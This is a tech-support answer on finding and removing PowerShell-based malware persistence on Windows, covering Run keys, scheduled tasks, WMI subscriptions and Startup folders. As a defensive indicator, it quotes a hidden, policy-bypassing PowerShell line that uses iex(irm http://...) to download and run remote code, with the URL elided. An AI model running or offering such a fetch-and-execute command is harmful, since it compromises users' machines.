Powershell opens on startup and tries to open something. Potential Malware/Riskware/Trojan

The behavior is consistent with a malicious script that uses PowerShell for persistence and to contact a remote server. The fix is to remove the persistence points that launch PowerShell and then verify that no malicious PowerShell processes are still running.

A practical cleanup approach (based on a similar resolved case) is:

1. Check the Run registry key for malicious PowerShell entries
   • Open PowerShell as Administrator.
   • List startup entries under the current user:

          reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
     

   • Look for any value whose data starts PowerShell, for example:

          powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "iex(irm http://...)"
     

   • If such an entry exists, delete it (replace the value name with the one found):

          reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows PowerShell v1.0" /f
     

2. Find what is launching PowerShell
   • Still in elevated PowerShell, run:

          Get-CimInstance Win32_Process |
            Where-Object { $_.Name -like "powershell*" } |
            Select Name,ProcessId,ParentProcessId,CommandLine
     

   • If the parent process is a Task Scheduler service (for example svchost.exe -k netsvcs -s Schedule), PowerShell is being started by a scheduled task.
3. Remove malicious scheduled tasks
   • List all tasks and their actions:

          Get-ScheduledTask |
            ForEach-Object {
              foreach ($a in $_.Actions) {
                "{0}{1} | {2} {3}" -f $_.TaskPath,$_.TaskName,$a.Execute,$a.Arguments
              }
            }
     

   • Look for tasks that execute powershell.exe with suspicious arguments such as -ExecutionPolicy Bypass, -WindowStyle Hidden, or iex(irm http://...).
   • When a malicious task is identified (example name: Windows Perflog), remove it:

          Unregister-ScheduledTask -TaskName "Windows Perflog" -Confirm:$false
     

4. Check for WMI-based persistence
   • Some malware uses WMI event subscriptions to relaunch PowerShell. Run:

          Get-WmiObject -Namespace root\subscription -Class __EventFilter
          Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer
          Get-WmiObject -Namespace root\subscription -Class ActiveScriptEventConsumer
     

   • Review the output for entries that launch PowerShell or contain suspicious URLs or commands and remove them as appropriate.
5. Check Startup folders
   • Inspect these folders for .ps1, .vbs, .bat, or unknown executables:
     • %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup
     • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
   • Delete any clearly malicious script or shortcut that launches PowerShell.
6. Final verification
   • After cleanup, reboot.
   • Open PowerShell and verify that only the current PowerShell process is running:

          Get-CimInstance Win32_Process |
            Where-Object { $_.Name -like "powershell*" } |
            Select Name,CommandLine
     

   • PowerShell should no longer open by itself at startup, and no background PowerShell processes with hidden windows or remote URLs should appear.

If PowerShell still launches automatically or new suspicious entries reappear, a full offline scan with Microsoft Defender or a clean reinstall of Windows should be considered to ensure complete removal.

References:

• Power shell open by itself and it says: Running the environment check. Please wait... License OK - Microsoft Q&A